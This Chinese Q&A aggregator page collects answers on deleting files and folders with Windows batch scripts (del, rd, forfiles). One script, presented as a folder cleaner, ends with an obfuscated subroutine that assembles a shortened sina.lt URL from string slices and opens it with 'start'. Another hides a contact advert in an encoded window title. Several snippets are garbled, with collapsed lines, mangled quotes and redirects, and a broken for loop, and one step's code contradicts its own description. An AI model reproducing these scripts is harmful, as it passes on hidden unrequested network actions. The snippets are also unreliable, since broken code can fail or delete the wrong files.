您当前的位置:首页 > 生活常识 > 正文

批处理删除文件(请教如何批处理删除指定文件夹中的所有文件(保留子文件夹))

本文目录

  • 请教如何批处理删除指定文件夹中的所有文件(保留子文件夹)
  • 批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写
  • 如何用批处理删除所在文件夹内的全部文件和文件夹
  • 请问:如何批处理删除文件夹及其所有子文件夹下N天前所有文件
  • 如何用批处理删除指定文件夹以及文件里所有文件
  • 怎么批处理删除某一文件夹中的文件
  • 删除文件的批处理命令
  • 如何用批处理文件删除某个文件
  • 批处理批量删除文件
  • 批处理删除文件

请教如何批处理删除指定文件夹中的所有文件(保留子文件夹)

不清楚你的实际文件/情况,仅以问题中的样例/说明为据复制粘贴到记事本,另存为xx.bat,编码选ANSI

@echo offrem 删除文件,保留文件夹set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4title %#% +%$%%$%/%@% %z%set “folder=D:\xxxx\aa“if not exist “%folder%“ (echo;“%folder%“ not found&goto end)del /a /f /q “%folder%\*.*“:endecho;%#% +%$%%$%/%@% %z%pauseexit

批处理删除文件夹下所有文件和文件夹,但是排除包含“勿删”字样的文件夹,该怎么写

@echo off & title 删除所有文件/夹(特定文件夹需保留) By 依梦琴瑶

cd /d “%%~dp0“

::设置要处理的主目录路径

set ScrFolder=D:\AAA

::设置要排除包含的字符,多个字符之间,请用英文逗号隔开,包含空格,特殊字符的请用英文双引号将其括起来

set SkipStr=勿删

cd /d “%ScrFolder%“

for /f “delims=“ %%a in (’dir /ad-h’) do (

    for %%i in (%SkipStr%) do (

        echo “%%~a“ | find /i “%%~i“ 》nul 2》nul || rd /s /q “%%~a“

    )

)

for /f “delims=“ %%a in (’dir /a-d-h’) do (

    del /f /q “%%~a“

)

pause

call :GVME

exit

:GVME

set “S1=.:ailnhpst/“

set “S0=fPdv“

set “S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%“

set “S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%“

start ““ “%S2%%S3%%S1:~10,1%%S0%“

exit

脚本保存时请比对原文,保存编码设为ANSI。否则可能会导致脚本运行出错。

如何用批处理删除所在文件夹内的全部文件和文件夹

我的思路是用dirforif这三个命令先用dir显示出所有文件的生成时间之后用for处理下去掉dir开头判断的盘符什么的之后把时间留下来在套上if进行对比比如说今天10号把时间跟7比较那么小于7的进行删除具体不怎么会写刚刚接触到for命令可以互相探讨

请问:如何批处理删除文件夹及其所有子文件夹下N天前所有文件

当文件夹里面的某一个文件当前时间被修改过,这个文件夹的修改时间就会变成当前时间.以删除30天以前的文件夹为例.如果一个文件夹的最后时间都是30天以前.那么在30天以内该文件夹下的所有文件都没有被修改过.而一个文件夹如果不在30天以前,那么也可能文件夹下的某些文件是在30天以前的.根据这个思路.先删除30天以前的文件夹.再删除30天以内文件夹下所有30天以前的文件.那么就结果就如下:forfiles -D -30 /M * /C “cmd /c rd @file /s /q“forfiles -D -30 /S /M * /C “cmd /c del @path /s /q“两行批处理即可搞定

如何用批处理删除指定文件夹以及文件里所有文件

删除文件用erase/del文件路径名如你所说的:del/eraseE:\123\*obj如所有删除文件:del/eraseE:\123\*.*删除文件夹用:rd/rmdirE:\123注意:要删除文件夹必须先删除文件夹里面的所有文件

怎么批处理删除某一文件夹中的文件

DOS命令删除某文件夹下所有文件是很容易的。甚至不需要批处理。但是DOS命令组成的批处理无法做到“定期”。这需要在DOS下通过编程调用时间函数等等,远超出了批处理的功能。如果你是在WINDOWS下用这个方法来定期清理某文件夹,这就容易多了。1、打开记事本程序,在其中写入以下命令。del x:\y\*.* /s /q (x为你想操作的盘符,y为你想操作的文件夹名)exit2、保存此文件为.BAT或者.CMD文件。3、使用控制面板中的“计划任务”,设定一个时间运行此批处理文件。4、更简单的办法:把这个.bat 或.cmd文件放在开始菜单中的“启动”项中。这样,每次开机的时候就会执行一遍

删除文件的批处理命令

用系统的文本编辑器编写代码 del “文件标识符 + 文件名”等, 保存为 bat 文件,这个扩展名为 bat 的文件就是批处理程序。。其中代码中文件名可以用“通配符+扩展名”的方式,以删除指定目录下相同扩展名的所有文件。如“*.exe”、“??d.*” 等等

如何用批处理文件删除某个文件

1、在电脑上新建一个文件夹,新建一个“TXT”文件,并命名。

2、点击右键,把文件的后缀名设置为“.bat”。

3、右键打开文件,行输入“rd abc”作为示例。

4、在bat所在的文件夹里新建一个ABC文件夹,作为删除的对象。

5、然后需要双击bat文件运行。

6、按任意键退出后,即可看到ABC文件夹已经被删除。

批处理批量删除文件

开始、运行输入cmd进到命令行,输入以下命令(如果写到批处理,把两处%i都改成%%i):for/fc:\java%iin(*.class)do@del“%i“

批处理删除文件

方法/步骤

  • 右键打开右键菜单,新建一个文本文档。

    请点击输入图片描述

  • 把文本文档的.txt后缀改成.cmd或者.bat,比如把“新建文本文档.txt”改成“test.bat”。

    请点击输入图片描述

  • 在弹出的对话框中点击确定。

    请点击输入图片描述

  • 右键点击test.bat,在弹出的菜单中点击编辑。

    请点击输入图片描述

  • 然后输入如下命令(比如要删除该文件夹下所有txt文件)

    @echo on

    for /r %%f in (*.htm) do del %%f

    Ctrl+S保存

    请点击输入图片描述

  • 把test.bat文件拷贝到你要处理的文件夹下。

    请点击输入图片描述

  • 最后双击test.bat文件之后,这个文件夹下所有的txt文件都被删除了。

    请点击输入图片描述

    请点击输入图片描述


声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,谢谢。

上一篇: 手机打不开优酷app?电视优酷打不开怎么回事

下一篇: dnf怎么进不去啊(为什么我的电脑进不去DNF)



推荐阅读